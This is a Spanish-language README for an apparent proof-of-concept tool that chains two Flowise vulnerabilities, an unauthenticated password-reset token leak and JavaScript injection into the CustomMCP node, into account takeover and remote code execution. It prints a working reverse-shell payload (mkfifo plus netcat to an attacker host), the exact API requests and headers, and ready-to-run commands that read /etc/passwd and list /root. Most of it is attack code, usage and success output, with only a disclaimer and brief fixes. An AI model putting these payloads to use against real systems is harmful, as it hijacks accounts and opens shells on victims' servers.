PoC modular para CVE-2025-58434 (toma de control de cuenta) y CVE-2025-59528 (RCE) en Flowise. Automatiza la cadena de ataque completa desde la fuga de token no autenticado hasta la ejecución remota de código mediante reverse shell o comando personalizado.
⚠️ Solo para fines educativos e investigación de seguridad autorizada.
Ejecutar esta herramienta contra sistemas que no poseas o sin permiso por escrito para realizar pruebas es ilegal.
Este repositorio combina dos vulnerabilidades críticas en Flowise en una sola herramienta PoC modular.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Tipo | Toma de control de cuenta | Ejecución remota de código |
| Auth requerida | Ninguna | Sí (cualquier cuenta válida) |
| CVSS | 9.8 Crítico | Crítico |
| Afectado | Cloud + Autogestionado | Autogestionado |
Las dos vulnerabilidades se encadenan de forma natural: CVE-2025-58434 proporciona una toma de control de cuenta sin autenticar, lo que satisface el requisito de autenticación para CVE-2025-59528 — logrando RCE sin autenticar en una sola ejecución automatizada.
Causa raíz: El endpoint forgot-password devuelve el token de restablecimiento de contraseña (tempToken) directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo solo por correo electrónico.
Pasos del ataque:
POST /api/v1/account/forgot-password con cualquier correo electrónico registradotempToken de la respuesta JSON — sin necesidad de acceso al correoPOST /api/v1/account/reset-password con el token filtrado → establecer una nueva contraseñaRespuesta filtrada (recortada):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Causa raíz: El nodo CustomMCP pasa el mcpServerConfig proporcionado por el usuario directamente al constructor Function() de JavaScript sin sanitización. Dado que Flowise se ejecuta en Node.js, el código inyectado tiene acceso completo a child_process, fs y todos los módulos integrados de Node.js.
Ruta de código vulnerable:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← entrada de usuario sin sanitizar
Encabezados requeridos:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Payload de inyección predeterminado (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Nota: Los payloads de reverse shell usan
cp.exec()(asíncrono / dispara y olvida) para que la solicitud HTTP regrese inmediatamente y la herramienta no agote el tiempo de espera. Los comandos regulares usancp.execSync()y devuelven la salida en línea.
Atacante API de Flowise
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token filtrado en la respuesta
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken borrado) │ ← ATO completado
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extraídas
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() se ejecuta en segundo plano]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Listener nc del atacante ←───────────── El servidor se conecta de vuelta
✓ RCE completo desde cero credenciales
| Componente | Estado |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Afectado por CVE-2025-58434 |
| Flowise autogestionado (todas las versiones anteriores al parche) | Afectado por ambos CVEs |
Consulta los avisos de seguridad oficiales de Flowise para los números de versión con parche.
flowise-dual-cve-poc/
├── flowise_poc.py # PoC principal — todos los módulos + modo cadena
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
└── DISCLAIMER.md # Aviso legal completo
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
No se requiere ninguna flag de modo. Si ejecutas el script sin --chain o --module, se ejecuta automáticamente en modo cadena completo. El payload de RCE predeterminado es un reverse shell — solo proporciona --lhost y --lport.
# Invocación mínima — cadena completa + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Inicia tu listener antes de ejecutar:
nc -lvnp 4444
python3 flowise_poc.py -h
Ejecuta los cuatro pasos de extremo a extremo: filtrar token → restablecer contraseña → iniciar sesión → RCE.
# Reverse shell (payload predeterminado)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Comando personalizado en lugar de reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Contraseña ATO personalizada + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Filtrar el tempToken y restablecer la contraseña de la cuenta. Se detiene antes del inicio de sesión/RCE.
# Nueva contraseña predeterminada
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Nueva contraseña personalizada
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Imprimir respuesta JSON sin procesar
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Autenticar y extraer las tres cookies de sesión para uso manual.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# Salida JSON para scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Ejecutar en el servidor. Inicia sesión automáticamente si no se proporciona --token.
# Reverse shell — inicio de sesión automático
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Comando personalizado — inicio de sesión automático
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Token manual — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# Las tres cookies manualmente
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Flag | Descripción |
|---|---|
--chain | Cadena completa: ATO → Login → RCE |
--module ato | Solo toma de control de cuenta |
--module login | Solo inicio de sesión y extracción de cookies |
--module rce | Solo RCE |
| Flag | Corta | Descripción | Obligatorio |
|---|---|---|---|
--url | -u | URL base de la instancia de Flowise | Siempre |
--email | -e | Correo electrónico del objetivo / inicio de sesión | Siempre |
| Flag | Corta | Descripción | Predeterminado |
|---|---|---|---|
--new-password | -p | Contraseña establecida en la cuenta víctima después del ATO | Flowise@Pwn3d2025! |
| Flag | Corta | Descripción |
|---|---|---|
--login-password | -P | Contraseña para el módulo de inicio de sesión / inicio de sesión automático de RCE |
--token | — | Proporcionar manualmente la cookie token (omite inicio de sesión) |
--refresh-token | — | Proporcionar manualmente la cookie refreshToken |
--connect-sid | — | Proporcionar manualmente la cookie connect.sid |
| Flag | Corta | Descripción | Predeterminado |
|---|---|---|---|
--lhost | — | IP del atacante para el reverse shell | — |
--lport | — | Puerto del atacante para el reverse shell | — |
--command | -c | Comando de sistema operativo personalizado (sustituye a revshell) | id si no hay lhost/lport |
| Flag | Corta | Descripción | Predeterminado |
|---|---|---|---|
--timeout | -t | Tiempo de espera HTTP (segundos) | 15 |
--json-output | -j | Imprimir respuestas JSON sin procesar | false |
El script elige automáticamente el modo de ejecución correcto:
| Escenario | Payload utilizado | Comportamiento HTTP |
|---|---|---|
--lhost + --lport (sin -c) | one-liner mkfifo netcat | cp.exec() — asíncrono, regresa inmediatamente |
-c "..." que contenga nc/mkfifo/bash -i | detectado como revshell | cp.exec() — asíncrono, regresa inmediatamente |
-c "id" o cualquier otro comando normal | comando de usuario | cp.execSync() — bloquea, devuelve salida |
sin -c, sin --lhost | id | cp.execSync() — bloquea, devuelve salida |
La ejecución asíncrona significa que la solicitud HTTP se completa al instante — sin errores de tiempo de espera en los payloads de reverse shell.
[Paso 1] [CVE-2025-58434] Solicitando token de forgot-password ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
DATOS DE CUENTA FILTRADOS
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token divulgado sin autenticación!
[Paso 2] [CVE-2025-58434] Restableciendo contraseña → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Restablecimiento de contraseña EXITOSO (tempToken borrado)
[+] Toma de control de cuenta completada → [email protected] / Flowise@Pwn3d2025!
[Paso 3] [Auth] Iniciando sesión para extraer cookies de sesión ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
COOKIES DE SESIÓN EXTRAÍDAS
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Paso 4] [CVE-2025-59528] Ejecutando RCE a través de CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RESULTADO DE RCE
────────────────────────────────────────────────────────────────────
Modo : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Payload de reverse shell disparado!
[!] Esperando conexión en 10.10.16.35:4444 ...
[!] Asegúrate de que tu listener esté corriendo: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CADENA COMPLETADA
tempToken solo por correo electrónico registrado.forgot-password.Function(), eval() o vm.runInThisContext().mcpServerConfig como solo datos (por ejemplo, JSON.parse()) — nunca ejecutarlo.| Fecha | Evento |
|---|---|
| 2025-08-19 | CVE-2025-58434 descubierto y reportado |
| TBD | CVE-2025-59528 descubierto y reportado |
| TBD | Reconocimiento del proveedor |
| TBD | Parche publicado |
| TBD | Divulgación pública |
Solo para fines educativos y pruebas de penetración autorizadas.
Consulta DISCLAIMER.md para el aviso legal completo.